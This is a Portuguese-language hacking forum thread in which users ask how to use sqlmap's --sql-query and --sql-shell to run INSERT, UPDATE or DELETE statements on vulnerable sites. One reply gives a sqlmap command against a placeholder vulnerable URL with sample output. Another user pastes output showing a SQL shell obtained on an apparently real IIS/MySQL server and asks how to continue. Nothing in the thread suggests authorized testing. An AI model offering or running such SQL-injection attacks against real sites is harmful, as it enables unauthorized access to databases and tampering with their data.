[Duvida]SQLMap --sql-query e -- sql-shell

[tecnologiaesites]

Gostaria de saber no sqlmap como utiliza o --sql-query e tambem o --sql-shell
pois queria usar o comando insert e update ou delete no --sql-query ou tambem no --sql-shell
agradeço
Obrigado

[SocramHacking]

humm eu tbm tenho essa duvida... por favor ajudem

[roberthoudini]

-sql-query seria assim :
./sqlmap --url "http://www.sitevul.com/?id=1" --sql-query "select @datadir"

RES >> /usr/bin/mysql/

UPDATE vai ser meio dificul vc fazer, dependendo do DBMS que o site esteja usando, alem disso precisa de ver os privilegios do usuário atual.

--sql-shell é para vc ganhar o SHELL da maquina,

da uma olhada no Manual dele, tem toda documentação, bem explicada, ou veja o help ex: ./sqlmap --help


abraços...

[Gr0LLyn]

cheguei até aqui

pessoal cheguei até aqui,
como eu faço para da continuidade no comando --sql-shell

[12:09:20] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.5
back-end DBMS: MySQL 5.0
[12:09:20] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
sql-shell>



obrigado